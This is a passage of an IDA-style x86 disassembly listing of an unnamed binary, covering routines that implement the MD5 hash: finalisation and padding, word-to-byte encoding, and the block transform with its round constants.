var_C		= byte ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		mov	[ebp+var_18], edx
		mov	[ebp+var_14], ecx
		push	8
		mov	edx, [ebp+var_18]
		add	edx, 10h
		lea	ecx, [ebp+var_C]
		call	sub_40B16D
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		shr	ecx, 3
		and	ecx, 3Fh
		mov	[ebp+var_10], ecx
		cmp	[ebp+var_10], 38h
		jnb	short loc_40B120
		mov	edx, 38h
		sub	edx, [ebp+var_10]
		mov	[ebp+var_1C], edx
		jmp	short loc_40B12B
; ---------------------------------------------------------------------------


loc_40B120:				; CODE XREF: sub_40B0E1+30j
		mov	eax, 78h
		sub	eax, [ebp+var_10]
		mov	[ebp+var_1C], eax


loc_40B12B:				; CODE XREF: sub_40B0E1+3Dj
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	edx, offset dword_418A60
		mov	ecx, [ebp+var_18]
		call	sub_40AFDA
		push	8
		lea	edx, [ebp+var_C]
		mov	ecx, [ebp+var_18]
		call	sub_40AFDA
		push	10h
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_14]
		call	sub_40B16D
		mov	ecx, 16h
		xor	eax, eax
		mov	edi, [ebp+var_18]
		rep stosd
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_40B0E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B16D	proc near		; CODE XREF: sub_40B0E1+18p
					; sub_40B0E1+76p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		jmp	short loc_40B19B
; ---------------------------------------------------------------------------


loc_40B189:				; CODE XREF: sub_40B16D+9Dj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		mov	[ebp+var_8], ecx


loc_40B19B:				; CODE XREF: sub_40B16D+1Aj
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+arg_0]
		jnb	short loc_40B20F
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+eax*4]
		and	edx, 0FFh
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_8]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+ecx*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+var_C]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+edx*4]
		shr	ecx, 10h
		and	ecx, 0FFh
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_8]
		mov	[edx+2], cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+eax*4]
		shr	edx, 18h
		and	edx, 0FFh
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_8]
		mov	[eax+3], dl
		jmp	loc_40B189
; ---------------------------------------------------------------------------


loc_40B20F:				; CODE XREF: sub_40B16D+34j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40B16D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B215	proc near		; CODE XREF: sub_40AFDA+9Ap
					; sub_40AFDA+C4p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	edi
		mov	[ebp+var_58], edx
		mov	[ebp+var_54], ecx
		mov	eax, [ebp+var_54]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_54]
		mov	eax, [edx+4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_54]
		mov	edx, [ecx+8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_54]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_10], ecx
		push	40h
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		call	sub_40C0BD
		mov	edx, [ebp+var_8]
		and	edx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		not	eax
		and	eax, [ebp+var_10]
		or	edx, eax
		add	edx, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+edx-28955B88h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	edx, [ebp+var_10]
		lea	eax, [edx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shl	ecx, 0Ch
		mov	edx, [ebp+var_10]
		shr	edx, 14h
		or	ecx, edx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		and	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		not	edx
		and	edx, [ebp+var_8]
		or	ecx, edx
		add	ecx, [ebp+var_48]
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+ecx+242070DBh]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		shl	edx, 11h
		mov	eax, [ebp+var_C]
		shr	eax, 0Fh
		or	edx, eax
		mov	[ebp+var_C], edx
		mov	ecx, [ebp+var_C]
		add	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		and	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		not	eax
		and	eax, [ebp+var_4]
		or	edx, eax
		add	edx, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+edx-3E423112h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	edx, [ebp+var_4]
		lea	eax, [edx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		shl	ecx, 7
		mov	edx, [ebp+var_4]
		shr	edx, 19h
		or	ecx, edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		and	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		not	edx
		and	edx, [ebp+var_C]
		or	ecx, edx
		add	ecx, [ebp+var_3C]
		mov	eax, [ebp+var_10]
		lea	ecx, [eax+ecx+4787C62Ah]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		shl	edx, 0Ch
		mov	eax, [ebp+var_10]
		shr	eax, 14h
		or	edx, eax
		mov	[ebp+var_10], edx
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		and	edx, [ebp+var_4]
		mov	eax, [ebp+var_10]
		not	eax
		and	eax, [ebp+var_8]
		or	edx, eax
		add	edx, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+edx-57CFB9EDh]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		shl	ecx, 16h
		mov	edx, [ebp+var_8]
		shr	edx, 0Ah
		or	ecx, edx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		and	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		not	edx
		and	edx, [ebp+var_10]
		or	ecx, edx
		add	ecx, [ebp+var_30]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+ecx+698098D8h]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		shl	edx, 7
		mov	eax, [ebp+var_4]
		shr	eax, 19h
		or	edx, eax
		mov	[ebp+var_4], edx
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		and	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		not	eax
		and	eax, [ebp+var_C]
		or	edx, eax
		add	edx, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+edx-74BB0851h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	edx, [ebp+var_C]
		lea	eax, [edx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		shl	ecx, 11h
		mov	edx, [ebp+var_C]
		shr	edx, 0Fh
		or	ecx, edx
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		and	ecx, [ebp+var_10]
		mov	edx, [ebp+var_C]
		not	edx
		and	edx, [ebp+var_4]
		or	ecx, edx
		add	ecx, [ebp+var_24]
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+ecx-76A32842h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		shl	edx, 16h
		mov	eax, [ebp+var_8]
		shr	eax, 0Ah
		or	edx, eax
		mov	[ebp+var_8], edx
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		and	edx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		not	eax
		and	eax, [ebp+var_10]
		or	edx, eax
		add	edx, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+edx+6B901122h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	edx, [ebp+var_10]
		lea	eax, [edx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shl	ecx, 0Ch
		mov	edx, [ebp+var_10]
		shr	edx, 14h
		or	ecx, edx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		and	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		not	edx
		and	edx, [ebp+var_8]
		or	ecx, edx
		add	ecx, [ebp+var_18]
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+ecx-5986BC72h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		shl	edx, 11h
		mov	eax, [ebp+var_C]
		shr	eax, 0Fh
		or	edx, eax
		mov	[ebp+var_C], edx
		mov	ecx, [ebp+var_C]
		add	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		and	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		not	eax
		and	eax, [ebp+var_4]
		or	edx, eax
		add	edx, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+edx+49B40821h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		not	ecx
		mov	edx, [ebp+var_C]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		not	ecx
		mov	edx, [ebp+var_8]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		not	ecx
		mov	edx, [ebp+var_4]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		not	ecx
		mov	edx, [ebp+var_10]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax-16493856h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		not	ecx
		mov	edx, [ebp+var_C]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		not	ecx
		mov	edx, [ebp+var_8]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax+2441453h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		not	ecx
		mov	edx, [ebp+var_4]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		not	ecx
		mov	edx, [ebp+var_10]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax-182C0438h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		not	ecx
		mov	edx, [ebp+var_C]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		not	ecx
		mov	edx, [ebp+var_8]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		not	ecx
		mov	edx, [ebp+var_4]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+eax-0B2AF279h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		not	ecx
		mov	edx, [ebp+var_10]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		not	ecx
		mov	edx, [ebp+var_C]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		not	ecx
		mov	edx, [ebp+var_8]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax-3105C08h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		not	ecx
		mov	edx, [ebp+var_4]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+eax+676F02D9h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		not	ecx
		mov	edx, [ebp+var_10]
		and	edx, ecx
		or	eax, edx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+eax-944B4A0h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax-41404390h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax-155ED806h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax+4881D05h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
